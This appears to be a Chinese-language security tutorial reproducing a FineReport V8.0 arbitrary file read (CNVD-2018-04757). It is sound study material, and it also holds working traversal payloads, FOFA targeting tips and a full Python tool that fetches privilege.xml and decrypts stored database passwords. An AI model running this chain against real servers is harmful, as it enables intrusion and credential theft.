1. 项目概述一次针对企业级报表系统的深度安全审计最近在复盘一些历史漏洞案例时我又重新审视了帆软报表FineReport V8.0版本的get_geo_json任意文件读取漏洞。这个编号为CNVD-2018-04757的漏洞虽然是一个“老洞”但其背后的成因、利用手法以及对企业数据安全的警示意义至今仍不过时。很多企业在内部系统安全加固时往往会忽略这些部署多年的“老系统”认为它们已经过时或不再更新就相对安全殊不知这类系统一旦存在未修复的漏洞就可能成为攻击者直通核心数据的“后门”。今天我就从一个安全研究者和渗透测试工程师的角度带大家完整地走一遍这个漏洞的复现、分析与利用过程并附上我优化过的Python解密脚本希望能帮助安全从业者加深对这类漏洞的理解也提醒企业运维人员重视老旧资产的风险排查。简单来说这个漏洞允许攻击者通过构造特定的HTTP请求直接读取帆软报表服务器上的任意文件包括存放数据库连接密码、系统配置等敏感信息的privilege.xml文件。攻击路径清晰危害直接。复现它并不复杂但理解其从漏洞触发点到最终获取明文密码的整个链条包括那个关键的“掩码”解密算法才是我们这次实战的核心价值。无论你是想入门Web安全漏洞复现的新手还是想丰富自己企业内网渗透测试经验的老手跟着这篇手把手的指南操作一遍都会有实实在在的收获。2. 漏洞原理与影响范围深度解析2.1 帆软报表FineReport架构浅析在深入漏洞之前有必要先了解一下帆软报表FineReport的基本情况。它是一款在国内政企、金融、制造业等领域应用非常广泛的企业级Web报表工具基于Java开发主要用于将数据库中的数据以图表、报表等形式进行可视化展示和填报。其典型部署结构包含一个Web应用通常打包为WAR文件部署在Tomcat、WebLogic或WebSphere等Java应用服务器上。一个标准的FineReport访问路径通常像这样http://目标IP:端口/WebReport/ReportServer。这里的/WebReport是上下文路径Context Path可能根据部署时的设置而变化有时甚至直接是根路径/ReportServer。ReportServer则是其核心的Servlet入口负责处理所有报表相关的请求包括数据查询、图表生成、文件导出等。理解这个基本访问模式对我们后续构造攻击请求至关重要。2.2get_geo_json接口的“越权”设计缺陷漏洞的核心在于ReportServer这个Servlet下的一个名为chart的操作opchart以及该操作下的一个子命令cmdget_geo_json。从功能命名上猜测这个接口的本意可能是为了获取地理信息JSON数据用于生成地图类图表。问题的关键在于resourcepath这个参数。根据漏洞披露信息攻击者可以通过该参数指定服务器上的文件路径。正常情况下此类接口应对resourcepath参数进行严格的校验比如限制其只能访问特定的、安全的资源目录如/WEB-INF/resources/geo/下的json文件。但在这个存在漏洞的版本中校验机制缺失或存在缺陷导致resourcepath参数可以被操控实现目录遍历Path Traversal。攻击者通过提交如resourcepath../../../../etc/passwd或resourcepathprivilege.xml这样的参数就能让服务器跳出预期的资源目录去读取其他任意位置的文件。这就是典型的“任意文件读取”漏洞的形成原因。它本质上是一种服务端对用户输入文件路径验证不严导致的安全边界突破。2.3 关键目标privilege.xml与密码加密机制为什么这个漏洞的PoC概念验证代码都聚焦于读取privilege.xml文件因为这是FineReport存储核心配置信息的文件之一其中极有可能包含数据库连接密码。对于攻击者而言获取数据库权限往往意味着拿到了系统最核心的数据资产。更有趣的是FineReport V8.0对存储在privilege.xml中的密码并非明文保存而是进行了一种简单的“掩码”加密。这原本是一种安全增强措施但在漏洞面前如果加密算法被逆向反而成了一种“此地无银三百两”的提示。我们后续的Python脚本就是要破解这个加密算法将密文还原为明文密码。这种“漏洞利用密码解密”的组合拳极大地提升了漏洞的实际危害性。2.4 影响版本与现状根据公开信息此漏洞影响FineReport V8.0及之前的所有版本。虽然这是一个2018年披露的漏洞官方在后续版本中肯定已进行了修复但在现实中大量企业内网中仍可能存在因系统未及时升级、或作为遗留系统仍在运行的V8.0版本。特别是在一些与互联网隔离、但内部安全管理松散的环境中这类漏洞的存活率非常高。注意本文所有技术讨论、复现过程及工具脚本仅限用于授权下的安全测试、漏洞验证及个人学习研究。任何未经授权的测试行为均属违法请务必在法律和道德允许的范围内进行技术实践。3. 漏洞复现环境搭建与前期准备3.1 靶场环境选择为了安全、合法地复现该漏洞我们必须在隔离环境中进行。有以下几种方案自行搭建漏洞环境推荐寻找FineReport V8.0的官方历史版本安装包请注意版权仅用于学习研究在一台虚拟机如VMware或VirtualBox中安装。操作系统可以选择Windows Server或Linux并搭配对应版本的JDK和Tomcat。这种方式最贴近真实场景但寻找历史安装包需要花些功夫。使用在线漏洞靶场一些网络安全学习平台提供了集成了该漏洞的靶场环境可以直接访问进行练习。这是最快捷的方式。使用Docker漏洞环境在Docker Hub或GitHub上可能有安全研究人员构建好的漏洞环境镜像。通过docker pull和docker run即可快速启动一个包含漏洞的FineReport实例。例如可以搜索类似finereport-v8.0-vuln这样的镜像。我的选择为了模拟最真实的渗透测试过程我选择在本地虚拟机CentOS 7中手动搭建一个FineReport V8.0环境。我下载了一个老版本的安装包如FineReport_8.0.zip将其解压后把WebReport文件夹部署到Tomcat的webapps目录下。启动Tomcat后访问http://localhost:8080/WebReport/ReportServer看到FineReport的登录界面即表示环境搭建成功。3.2 必要的工具准备工欲善其事必先利其器。复现这个漏洞我们主要需要以下工具浏览器任何现代浏览器均可用于发送HTTP请求和查看响应。推荐使用Chrome或Firefox并开启开发者工具F12。Burp Suite / Postman用于拦截、重放和构造HTTP请求。Burp Suite是Web安全测试的瑞士军刀其Repeater模块非常适合我们手动调整参数进行漏洞探测。如果觉得Burp Suite太重Postman也是一个很好的替代品。Python 3环境用于运行我们编写的密码解密脚本。确保已安装requests库用于网络请求和argparse库用于处理命令行参数。文本编辑器/IDE如VS Code、Sublime Text或PyCharm用于编写和修改Python脚本。3.3 信息收集与目标识别在真实的渗透测试中我们不会一开始就知道目标存在某个特定漏洞。通常是从信息收集开始。对于帆软报表我们可以通过以下方式识别网页特征访问疑似目标查看页面标题、版权信息、JavaScript文件、特定图标favicon等寻找“FineReport”或“帆软”的关键字。路径探测尝试访问常见路径如/WebReport/ReportServer、/ReportServer、/finereport等。网络空间搜索引擎使用FOFA、Shodan、ZoomEye等平台搜索特定的指纹特征。正如漏洞描述中提到的FOFA语法app帆软-FineReport。这能快速定位到互联网上暴露的FineReport系统。版本识别如果能够访问到登录页面或某些功能页面有时在页面底部或HTTP响应头中会包含版本信息。假设我们已经通过信息收集确定目标http://192.168.1.100:8080部署了FineReport并且路径为/WebReport/ReportServer。4. 手把手漏洞复现与利用4.1 步骤一验证漏洞是否存在我们首先使用最经典的PoC来测试目标是否存在任意文件读取漏洞。这里我们尝试读取FineReport自身的配置文件privilege.xml因为它路径相对固定且内容具有验证价值。构造请求URLhttp://192.168.1.100:8080/WebReport/ReportServer?opchartcmdget_geo_jsonresourcepathprivilege.xml操作过程打开浏览器直接访问上述URL。或者打开Burp Suite配置好代理在浏览器中访问目标主页然后用Burp的Proxy拦截请求再发送到Repeater模块在Repeater中修改请求为GET方式并填入上述URL路径和参数。预期结果与判断漏洞存在服务器会返回一个XML格式的内容其中包含Password标签标签内的值是一串看似乱码的加密字符串密文。HTTP状态码通常是200。!-- 示例返回片段 -- Config ... Password___003e0031002f0030003a002e0036003b.../Password ... /xml漏洞不存在或路径错误服务器可能返回404找不到文件、403禁止访问、500内部服务器错误或者返回一个正常的JSON数据说明接口功能正常但已修复漏洞。也可能返回一个错误页面提示“资源不存在”等。我的实操心得在实际测试中FineReport的部署路径可能有多种变体。除了/WebReport/ReportServer我还遇到过直接部署在根目录下的/ReportServer或者上下文路径被改为其他名称如/fr、/report的情况。这就需要结合前期的信息收集进行灵活尝试。一个笨办法但有效的方法是用目录扫描工具如dirsearch去扫常见的路径。4.2 步骤二尝试读取其他敏感文件一旦确认privilege.xml可读就证明了任意文件读取漏洞的存在。为了进一步评估风险我们可以尝试读取更多敏感文件这需要用到目录遍历../技巧。常见敏感文件读取尝试Linux系统/etc/passwd验证是否能读取系统文件。resourcepath../../../../../../etc/passwd/proc/self/environ读取当前进程环境变量可能包含路径、密钥等信息。FineReport自身配置文件尝试寻找web.xml、config.xml等。resourcepath../../WEB-INF/web.xmlWindows系统C:\Windows\win.ini经典的系统文件。resourcepath../../../../../../Windows/win.ini读取FineReport安装目录下的其他配置文件。构造技巧由于我们不确定目标服务器的绝对路径与Web应用相对路径之间的深度关系通常需要多次尝试../的数量。可以从../../开始逐步增加如../../../、../../../../直到读取成功或返回错误。重要提示在读取系统文件时务必谨慎尤其是在生产环境或授权测试中。过度读取可能对系统造成不必要的负载或留下大量错误日志。应遵循“最小必要”原则。4.3 步骤三获取并解密数据库密码漏洞利用的最终目的往往是获取有价值的数据。读取privilege.xml获取加密的数据库密码是关键一步。假设我们从privilege.xml中获取到了如下密文实际会更长___003e0031002f0030003a002e0036003b002c003800390033002d...接下来我们需要编写Python脚本解密它。网上流传的解密代码片段给出了核心算法但不够健壮和易用。我对其进行了优化和封装。解密算法原理分析去除前缀密文开头固定的___三个字符是前缀需要先去掉。密文结构剩下的字符串每4个字符为一组代表一个十六进制数Hex。例如003e、0031等。掩码异或FineReport使用一个固定的8字节掩码数组PASSWORD_MASK_ARRAY [19, 78, 10, 15, 100, 213, 43, 23]。逐位解密将每组4字符的Hex转换为十进制整数然后与掩码数组对应位置的数值进行异或XOR运算。掩码数组循环使用i % 8。转换为字符将异或运算后的整数转换为对应的ASCII字符拼接起来即为明文密码。5. 优化版Python解密脚本详解与使用下面是我整合并优化后的Python脚本它不仅包含解密功能还增加了直接从URL获取privilege.xml并自动提取密文解密的一键化操作。#!/usr/bin/env python3 # -*- coding: utf-8 -*- 帆软报表 FineReport V8.0 任意文件读取漏洞利用工具 - 密码解密模块 Author: [你的名字/昵称] Description: 用于解密从 FineReport V8.0 privilege.xml 文件中获取的加密密码。 Usage: 1. 直接解密密文2. 通过URL自动获取并解密。 import argparse import requests import re import sys from urllib.parse import urljoin # FineReport V8.0 密码掩码数组 PASSWORD_MASK_ARRAY [19, 78, 10, 15, 100, 213, 43, 23] def decrypt_password(cipher_text): 核心解密函数 :param cipher_text: 从privilege.xml中提取的加密字符串包含___前缀 :return: 解密后的明文密码 if not cipher_text.startswith(___): print(f[!] 警告密文 {cipher_text[:20]}... 不以 ___ 开头可能格式不正确。) # 某些情况下密文可能被处理过去掉了前缀这里尝试直接解密 processed_cipher cipher_text else: processed_cipher cipher_text[3:] # 去除前三个字符___ # 检查长度是否为4的倍数 if len(processed_cipher) % 4 ! 0: print(f[!] 错误处理后的密文长度{len(processed_cipher)}不是4的倍数密文可能不完整或格式错误。) return None password try: for i in range(len(processed_cipher) // 4): # 提取4个字符的十六进制串 hex_str processed_cipher[i*4:(i1)*4] # 转换为十进制整数 c1 int(hex_str, 16) # 与掩码异或 c2 c1 ^ PASSWORD_MASK_ARRAY[i % 8] # 将结果转换为字符并拼接 password chr(c2) except ValueError as e: print(f[!] 解密过程中发生错误{e}) print(f[!] 在解析十六进制串 {hex_str} 时出错。) return None except Exception as e: print(f[!] 解密过程中发生未知错误{e}) return None return password def extract_cipher_from_xml(xml_content): 从privilege.xml文件内容中提取加密密码字段 :param xml_content: privilege.xml的文本内容 :return: 找到的加密密码字符串未找到则返回None # 使用正则表达式匹配 Password 标签内的内容 # 模式Password 后面跟着任意非‘’字符惰性匹配直到 /Password pattern rPassword(.*?)/Password match re.search(pattern, xml_content, re.IGNORECASE | re.DOTALL) if match: cipher match.group(1).strip() print(f[] 成功从XML中提取到密文{cipher[:50]}...) # 只打印前50位 return cipher else: print([-] 未在提供的XML内容中找到 Password 标签。) # 尝试更宽松的匹配可能标签名大小写不一致或有命名空间 pattern_loose r[Pp]assword[^]*(.*?)/[Pp]assword match_loose re.search(pattern_loose, xml_content, re.DOTALL) if match_loose: cipher match_loose.group(1).strip() print(f[] 通过宽松匹配提取到密文{cipher[:50]}...) return cipher return None def fetch_and_decrypt_from_url(target_url): 从目标URL获取privilege.xml并自动解密 :param target_url: 完整的漏洞利用URL例如 http://target/WebReport/ReportServer?opchartcmdget_geo_jsonresourcepathprivilege.xml print(f[*] 正在尝试从 {target_url} 获取敏感文件...) headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 } try: resp requests.get(target_url, headersheaders, timeout15, verifyFalse) # 注意这里verifyFalse仅用于测试环境忽略SSL证书验证。生产环境或重要测试应谨慎使用。 except requests.exceptions.RequestException as e: print(f[-] 网络请求失败{e}) return if resp.status_code 200: print([] 文件读取成功。) cipher extract_cipher_from_xml(resp.text) if cipher: print([*] 开始解密...) plain_password decrypt_password(cipher) if plain_password: print(f[] 解密成功明文密码为{plain_password}) else: print([-] 解密失败。) else: print([-] 未能提取出加密密码请检查返回内容) # 打印前500字符以供手动检查 print(resp.text[:500]) else: print(f[-] 文件读取失败HTTP状态码{resp.status_code}) print(f[-] 响应内容{resp.text[:200]}) def main(): parser argparse.ArgumentParser(descriptionFineReport V8.0 密码解密工具) group parser.add_mutually_exclusive_group(requiredTrue) group.add_argument(-c, --cipher, help直接提供加密的密码字符串需包含___前缀) group.add_argument(-u, --url, help提供完整的漏洞利用URL工具将自动获取并解密) args parser.parse_args() if args.cipher: print(f[*] 输入密文{args.cipher[:50]}...) plain_password decrypt_password(args.cipher) if plain_password: print(f[] 解密成功明文密码为{plain_password}) else: print([-] 解密失败请检查密文格式。) elif args.url: fetch_and_decrypt_from_url(args.url) if __name__ __main__: # 忽略SSL警告仅用于测试 requests.packages.urllib3.disable_warnings() main()脚本使用方式方式一直接解密已知密文python decrypt_finereport.py -c ___003e0031002f0030003a002e0036003b...方式二一键化从目标URL获取并解密python decrypt_finereport.py -u http://192.168.1.100:8080/WebReport/ReportServer?opchartcmdget_geo_jsonresourcepathprivilege.xml脚本优化点说明健壮性增加了对密文格式的检查前缀、长度并提供了更宽松的正则匹配以应对XML格式的微小差异。易用性提供两种使用模式满足不同场景需求。错误处理对网络请求、十六进制转换等可能出错的地方进行了异常捕获并给出友好提示。安全性提醒在代码注释中强调了verifyFalse仅用于测试环境。6. 漏洞修复与安全加固建议复现漏洞的目的是为了更好地防御。对于企业安全运维人员如果你发现内部存在受此漏洞影响的FineReport版本应立即采取以下措施升级版本这是最根本的解决方案。联系帆软官方或供应商将FineReport升级到最新的安全版本。官方在后续版本中肯定修复了get_geo_json接口的路径校验逻辑。临时缓解措施如果无法立即升级WAF防护在Web应用防火墙WAF上配置规则拦截包含opchartcmdget_geo_jsonresourcepath特征且resourcepath参数中存在目录遍历字符../或敏感文件名如privilege.xml的请求。应用层过滤如果可以修改应用代码或配置在ReportServer这个Servlet的入口处对resourcepath参数进行严格的过滤只允许包含特定字符如字母、数字、下划线、短横线和特定后缀如.json并将其访问范围限制在指定的安全目录内。文件系统权限确保运行Tomcat或FineReport的系统账户对非必要的目录和文件只有最小读权限。即使漏洞被触发攻击者也无法读取关键系统文件。安全开发生命周期SDL对于自行开发的系统或深度定制的功能应建立严格的安全编码规范对所有用户输入进行验证和过滤特别是文件路径、系统命令等高风险参数。定期安全评估对内外网的所有Web系统特别是老旧系统进行定期的漏洞扫描和渗透测试主动发现潜在风险。7. 漏洞复现过程中的常见问题与排查在实际复现过程中你可能会遇到一些问题以下是一些常见情况的排查思路问题1访问漏洞URL返回404或错误页面。可能原因部署路径不正确。FineReport可能部署在其他上下文路径下。排查使用目录扫描工具重新扫描检查网站首页的链接或源代码寻找指向ReportServer的路径尝试常见的路径变体如/report/ReportServer/fr/ReportServer甚至直接尝试/ReportServer。问题2返回状态码200但内容是乱码或非XML格式。可能原因接口存在但resourcepath参数指定的文件不存在或无法访问或者目标系统版本已修复漏洞接口返回了正常的图表数据可能是JSON。排查检查返回内容的HTTP头Content-Type。如果是application/json可能是正常功能响应。尝试使用../遍历读取一个确定存在的文件如../../WEB-INF/web.xml如果知道是Tomcat部署来验证漏洞是否真的存在。问题3解密脚本运行后输出乱码或报错。可能原因从privilege.xml中提取的密文不完整或不正确密文格式不符合预期例如密码可能为空Password/Password或者目标系统版本不同加密算法有变。排查首先确认提取的密文确实以___开头。将privilege.xml的完整响应内容保存为文件用文本编辑器打开手动查找Password标签核对提取的字符串是否正确。对于空密码情况脚本应能处理但解密结果为空字符串。问题4在授权测试中如何避免对目标系统造成影响原则最小化、只读、不执行。操作仅读取证明漏洞存在的必要文件如privilege.xml避免反复、大量读取系统文件。绝对不要尝试写入文件或执行命令除非在明确授权的深度测试范围内。测试完成后清理测试产生的日志如果授权允许。问题5解密出的密码无法连接数据库。可能原因privilege.xml中存储的密码可能不是直接用于连接数据库的密码可能是其他功能的密码或者密码在存储前经过了其他编码/哈希处理但V8.0版本据分析是掩码异或亦或是数据库配置不在这个文件里。排查尝试用解密出的密码去连接FineReport配置中常见的数据库如MySQL、Oracle。同时仔细查看privilege.xml文件的其他内容寻找数据库连接字符串JDBC URL、用户名等信息。有时密码可能被分在多个配置文件中。这个漏洞的复现过程清晰地展示了一个简单的参数校验缺失如何演变成一条完整的数据泄露路径。从漏洞探测、利用到最终的数据解密每一步都值得我们深思。对于防御方它强调了输入验证、最小权限原则和及时更新补丁的重要性对于安全研究者它提供了一个分析老旧企业级应用漏洞的经典样本。希望这篇详细的指南能帮助你不仅“复现”了这个漏洞更“理解”了它背后的安全逻辑。在安全的世界里知其然更要知其所以然这才是持续进步的关键。